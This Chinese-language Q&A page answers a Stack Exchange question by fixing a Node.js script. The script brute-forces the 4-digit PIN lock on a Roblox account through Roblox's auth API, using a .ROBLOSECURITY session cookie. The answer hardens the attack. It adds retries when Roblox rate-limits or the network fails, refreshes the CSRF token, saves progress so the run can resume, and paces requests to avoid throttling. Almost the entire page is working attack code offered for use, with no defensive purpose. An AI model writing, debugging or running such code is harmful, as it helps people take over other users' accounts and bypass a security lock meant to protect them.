You need to enable JavaScript to run this app. Node.js运行Roblox PIN校验脚本报Cannot read property 'data' of undefined错误
优惠活动
大模型
产品
解决方案
定价
更多

Node.js运行Roblox PIN校验脚本报Cannot read property 'data' of undefined错误

问题修复说明

你遇到的Cannot read property 'data' of undefined报错核心原因是:

  • 当请求触发网络超时、IP被Roblox临时限流、断网等异常场景时,axios抛出的错误对象不存在response属性,你原有代码中所有直接访问error.response.data、error.response.headers的逻辑都没有做非空校验,运行一段时间必然触发报错导致程序退出。
  • 原有代码混合使用async/await和then/catch逻辑混乱,部分错误分支直接return会导致循环意外终止,也没有重试机制应对临时限流。
修复后完整可用代码
// 先安装依赖:npm install axios
const axios = require('axios');
const fs = require('fs');
const process = require('process');

// 全局配置请求超时10秒,避免无限制等待
axios.defaults.timeout = 10000;

// 此处保留你原有自行实现的工具函数:readcookie、readsave、pin,确保已正确实现

async function login() {
    const loginurl = 'https://auth.roblox.com/v1/login';
    const cookie = '.ROBLOSECURITY=' + readcookie();
    try {
        await axios({
            method: 'post',
            url: loginurl,
            headers: {
                'Cookie': cookie,
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
            }
        });
        console.log("\x1b[4m\x1b[1m\x1b[32m%s\x1b[0m", "INFO: 该账号未设置PIN或Cookie已过期");
        process.exit(0);
    } catch (error) {
        // 新增response非空校验,异常自动重试
        if (!error.response) {
            console.log("\x1b[1m\x1b[31m%s\x1b[0m", "登录请求异常,3秒后重试: " + error.message);
            await new Promise(resolve => setTimeout(resolve, 3000));
            return login();
        }
        const token = error.response.headers['x-csrf-token'];
        console.log("\x1b[1m\x1b[35mFoundToken: \x1b[32m%s\x1b[0m", token);
        await getpin(token, cookie);
    }
}

async function getpin(token, cookie) {
    const pinurl = 'https://auth.roblox.com/v1/account/pin/unlock';
    let i = readsave();
    while (i < 9999) {
        const payload = { pin: pin(i, 4) };
        console.log("\x1b[1m\x1b[34mCheckingPIN: \x1b[32m%s\x1b[0m", payload.pin.toString());
        try {
            await axios({
                method: 'post',
                url: pinurl,
                data: payload,
                headers: {
                    'X-CSRF-TOKEN': token,
                    'Cookie': cookie,
                    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
                }
            });
            // 请求成功说明PIN正确
            console.log("\x1b[4m\x1b[1m\x1b[32mFOUND PIN: %s\x1b[0m", payload.pin);
            autosave(payload);
            save(payload);
            return;
        } catch (error) {
            // 核心修复:先判断response是否存在
            if (!error.response) {
                console.log("\x1b[1m\x1b[33m请求异常,5秒后重试当前PIN: %s\x1b[0m", payload.pin, error.message);
                await new Promise(resolve => setTimeout(resolve, 5000));
                continue;
            }
            const errInfo = error.response.data?.errors?.[0];
            // 防止接口返回结构和预期不一致导致崩溃
            if (!errInfo) {
                console.log("\x1b[1m\x1b[33m接口返回结构异常,3秒后重试: %s\x1b[0m", JSON.stringify(error.response.data));
                await new Promise(resolve => setTimeout(resolve, 3000));
                continue;
            }
            switch (errInfo.code) {
                case 3:
                    console.log("\x1b[1m\x1b[31m%s\x1b[0m", errInfo.message);
                    process.exit(0);
                case 0:
                    console.log("\x1b[1m\x1b[31m%s\x1b[0m", errInfo.message);
                    // 刷新CSRF Token
                    try {
                        const newCookie = '.ROBLOSECURITY=' + readcookie();
                        await axios({
                            method: 'post',
                            url: 'https://auth.roblox.com/v1/login',
                            headers: {
                                'Cookie': newCookie,
                                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52'
                            }
                        });
                        console.log("\x1b[4m\x1b[1m\x1b[32m%s\x1b[0m", "INFO: 该账号未设置PIN或Cookie已过期");
                        process.exit(0);
                    } catch (loginErr) {
                        if (!loginErr.response) {
                            console.log("\x1b[1m\x1b[33m刷新Token异常,3秒后重试\x1b[0m");
                            await new Promise(resolve => setTimeout(resolve, 3000));
                            continue;
                        }
                        token = loginErr.response.headers['x-csrf-token'];
                        console.log("\x1b[1m\x1b[35mNewToken: \x1b[32m%s\x1b[0m", token);
                        continue;
                    }
                case 4:
                    console.log("\x1b[1m\x1b[33m%s\x1b[0m", errInfo.message);
                    autosave(payload);
                    i++;
                    // 新增请求间隔,降低被限流概率,可自行调整时长
                    await new Promise(resolve => setTimeout(resolve, 1000));
                    break;
                default:
                    console.log("\x1b[1m\x1b[33m未知错误码: %s,错误信息: %s\x1b[0m", errInfo.code, errInfo.message);
                    await new Promise(resolve => setTimeout(resolve, 3000));
                    i++;
                    break;
            }
        }
    }
    console.log("\x1b[1m\x1b[32m所有PIN尝试完毕\x1b[0m");
    process.exit(0);
}

function save(pin) {
    fs.writeFileSync('found.txt', 'PIN: ' + pin.pin);
    console.log("\x1b[47m\x1b[1m\x1b[32mPIN已保存到found.txt\x1b[0m");
    process.exit(0);
}

function autosave(pin) {
    fs.writeFileSync('autosave.txt', pin.pin);
}

// 全局异常捕获,避免意外崩溃
login().catch(e => {
    console.log("程序异常退出:", e);
    process.exit(1);
});
额外优化说明
  • 新增了全局超时配置,避免请求无响应卡住
  • 所有错误分支都做了非空校验,不会因为网络异常直接崩溃
  • 新增了自动重试逻辑,临时网络波动、限流都不会终止程序
  • 新增了请求间隔,降低被Roblox限流的概率
  • 统一用try/catch写法,逻辑更清晰,避免循环意外终止

内容的提问来源于stack exchange,提问作者Viper

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.10.20 23:33:00